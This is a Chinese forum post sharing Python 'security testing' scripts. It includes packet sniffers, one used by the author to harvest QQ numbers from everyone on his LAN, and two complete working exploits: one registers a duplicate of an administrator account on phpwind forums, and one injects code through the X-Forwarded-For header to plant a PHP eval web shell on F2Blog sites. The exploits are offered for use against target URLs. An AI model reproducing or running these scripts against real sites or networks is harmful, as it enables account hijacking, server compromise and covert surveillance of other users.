设为首页 收藏本站
查看: 963|回复: 0

[经验分享] Python辅助安全测试常用代码示例

[复制链接]

尚未签到

发表于 2018-8-5 06:17:01 | 显示全部楼层 |阅读模式
  这些代码,大部分是从别处转来的。测试的时候会比较有用。比如数据嗅探,发送请求,正则表达式处理文件,注入测试等。  实际中可以根据自己的项目,进行一定程度的扩展。代码是简洁为主。这部分代码是偏重安全测试的。
  学习python已经3月了。感觉非常有用。
  前些天,pm还让我写一个程序辅助他办公。
  近来发现很多公司也开始在自己的招聘职位上加上了python。
  对于python。功能说的太多没有用,我发一些例子。
  我也推荐大家有时间不妨学习一下。一天基本上就可以学会。
  外国非常流行。我的pm是德国人,他们国家好像是直接学习python,就像咱们学习c一样普及。
  国外搞python开发的人很多,公司也很多。国内的相对较少。
  我学习这个,是为了辅助工作和玩hack。日常用也很强大。
  google有个google app enginer,是个类似虚拟主机的服务。使用python开发web应用。
  另外,google本身是基于python的。
  大多数应用,都可以使用一个函数搞定,比如文件下载,发送请求,分析网页,读写xml,文件压缩,爬虫搜索。
  这些应用绝大多数是跨平台的。可以在linux下运行。
  ironpyhon是一个组合.net平台和python的工具,他们正在研究如何利用python把.net放在linux上运行。
  诺基亚的手机也开始支持python编程。
  java,.net 也开始提供python版本。
  下面举些例子,演示一下python的功能。
  1、数据嗅探,这个例子,是嗅探土豆网上的flash真正的播放地址。
  
import pcap ,struct , re  from pickle import dump,load
  pack=pcap.pcap()
  pack.setfilter('tcp port 80')
  regx=r'/[\w+|/]+.flv|/[\w+|/]+.swf'
  urls=[]
  hosts=[]
  print 'start capture....'
  for recv_time,recv_data in pack:
     urls=re.findall(regx,recv_data);
     if(len(urls)!=0):print urls;
  
  2、嗅探qq号码,前些天我还用它嗅探局域网里所有的qq那。可惜没有识别性别的功能。不过可以自己添加:
  
# -*- coding: cp936 -*-  import pcap ,struct
  pack=pcap.pcap()
  pack.setfilter('udp')
  key=''
  for recv_time,recv_data in pack:
    recv_len=len(recv_data)
    if recv_len == 102 and recv_data[42]== chr(02) and recv_data[101]
  == chr(03):
       print struct.unpack('>I',recv_data[49:53])[0]
    elif recv_len == 55:
       print struct.unpack('>I',recv_data[49:53])[0]
  
  3、数据嗅探,项目中遇到,需要嗅探一些发送到特定端口的数据,于是花了几分钟写了一个程序。
  
import pcap ,struct  from pickle import dump,load
  pack=pcap.pcap()
  pack.setfilter('port 2425')
  f=open(r'/mm.txt','w+')
  print 'start capture....'
  for recv_time,recv_data in pack:
     print recv_time
     print recv_data
     f.write(recv_data)
  
  4、文件内容搜索,我发现windows的自带的搜索无法搜索内容。即使搜索到也不准。就自己写了一个:
  
  import os,string,re,sys
  class SevenFile:
     files=[]
     def FindContent(self,path):
         print 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
         walks=os.walk(path)
         for walk in walks:
             for filename in walk[2]:
                 if('.mht' == filename[-4:]):
                     res_taskid=[]
                     file=walk[0]+'\\'+filename
                     f=open(file)
                     content=f.read()
                     pattern_taskid=re.compile(r'Stonehenge-UIVerificationChecklist\.mht',re.IGNORECASE) #
                     res_taskid=pattern_taskid.findall(content)
                     f.close()
                     if len(res_taskid)>0:
                         self.files.append(file)
  def run():
     f=SevenFile()
     f.FindContent(r"E:\work\AP\Manual Tests\PSIGTestProject\PSIGTestProject")
     for filepath in f.files:
         print filepath
     print "OK"
  if __name__=="__main__":
     run()
  
5、这个不是我写的,是一个网上的***phpwind论坛的一个代码:  
  # -*- coding: gb2312 -*-
  import urllib2,httplib,sys
  httplib.HTTPConnection.debuglevel = 1
  cookies = urllib2.HTTPCookieProcessor()
  opener = urllib2.build_opener(cookies)
  def usage():
  print "Usage:\n"
  print " $ ./phpwind.py pwforumurl usertoattack\n"
  print " pwforumurl 目标论坛地址如http://www.80sec.com/"
  print " usertoattack 目标拥有权限的斑竹或管理员"
  print " ***结果将会在目标论坛注册一个和目标用户一样的帐户"
  print " 最新版本可以使用uid登陆"
  print " 其他版本可以使用cookie+useragent登陆"
  print "########################################################"
  print ""
  argvs=sys.argv
  usage()
  data = "regname=%s
  %s1&regpwd=@80sec&regpwdrepeat=@80sec&regemail=...@foo.com&regemailtoall=1&step=2"
  % (argvs[2],"%c1")
  pwurl = "%s/register.php" % argvs[1]
  request = urllib2.Request(
  url = pwurl ,
  headers = {'Content-Type' : 'application/x-www-form-
  urlencoded','User-Agent': '80sec owned this'},
  data = data)
  f=opener.open(request)
  headers=f.headers.dict
  cookie=headers["set-cookie"]
  try:
  if cookie.index('winduser'):
  print "Exploit Success!"
  print "Login with uid password @80sec or Cookie:"
  print cookie
  print "User-agent: 80sec owned this"
  except:
  print "Error! http://www.80sec.com"
  print "Connect root#80sec.com"
  
  6、***注入***,针对指定网站的注入演示:
  
  #!c:\python24\pyton
  # Exploit For F2Blog All Version
  # Author BY MSN:pt...@vip.sina.com
  # Date: Jan 29 2007
  import sys
  import httplib
  from urlparse import urlparse
  from time import sleep
  def injection(realurl,path,evil): #url,/bk/,evilip
    cmd=""
    cookie=""
    header={'Accept':'*/*','Accept-Language':'zh-
  cn','Referer':'http://'+realurl[1]+path+'index.php','Content-
  Type':'application/x-www-form-urlencoded','User-
  Agent':useragent,'Host':realurl[1],'Content-length':len(cmd),
          'Connection':'Keep-Alive','X-Forwarded-
  For':evil,'Cookie':cookie}
    #cmd =
  "formhash=6a49b97f&referer=discuz.php&loginmode=&styleid=&cookietime=2592000&loginfield=username&username=test&password=123456789&questionid=0&answer=&loginsubmit=
  %E6%8F%90+%C2%A0+%E4%BA%A4"
    #print header
    #print path
    #sys.exit(1)
    http = httplib.HTTPConnection(realurl[1])
    http.request("POST",path+"index.php",cmd, header)
    sleep(1)
    http1 = httplib.HTTPConnection(realurl[1])
    http1.request("GET",path+"cache/test11.php")
    response = http1.getresponse()
    re1 = response.read()
    #print re1
    print re1.find('test')
    if re1.find('test') ==0:
      print 'Expoilt Success!\n'
      print 'View Your shell:\t%s' %shell
      sys.exit(1);
    else:
      sys.stdout.write("Expoilt FALSE!")
      http.close()
      #sleep(1)
      #break
      sys.stdout.write("\n")
  def main ():
  print 'Exploit For F2Blog All Version'
  print 'Codz by pt...@vip.sina.com\n'
  if len(sys.argv) == 2:
    url = urlparse(sys.argv[1])
    if url[2:-1] != '/':
        u = url[2] + '/'
    else:
        u = url[2] #u=/bk/
  else:
    print &quot;Usage: %s <url> &quot; % sys.argv[0]
    print &quot;Example: %s http://127.0.0.1/bk&quot; % sys.argv[0]
    sys.exit(0)
  print '[+] Connect %s' % url[1]
  print '[+] Trying...'
  print '[+] Plz wait a long long time...'
  global shell,useragent
  shell=&quot;http://&quot;+url[1]+u+&quot;cache/test11.php&quot;
  query ='fputs(fopen(\'cache/test11.php\',\'w+\'),\'<?
  @eval_r($_REQUEST[c])?>test\')'
  query ='\'));'+query+';/*'
  evilip=query
  useragent=&quot;&quot;
  cookie=&quot;&quot;
  injection(url,u,evilip)
  evilip=&quot;&quot;
  injection(url,u,evilip)
  print '[+] Finished'
  if __name__ == '__main__': main()
  
  7、***注入***,这是一个完整的access+asp注入工具。
  代码有点长,自己下载吧。
  http://www.xfocus.net/tools/200408/780.html
  国外还有更厉害的python注入工具(sqlmap),支持现在基本上所有的数据库。 MySQL, Oracle, PostgreSQL and Microsoft SQL
  Server database management system back-end. Besides these four DBMS,
  sqlmap can also>

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-546660-1-1.html 上篇帖子: python字符串加密与解密 下篇帖子: python之钉钉机器人zabbix报警
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表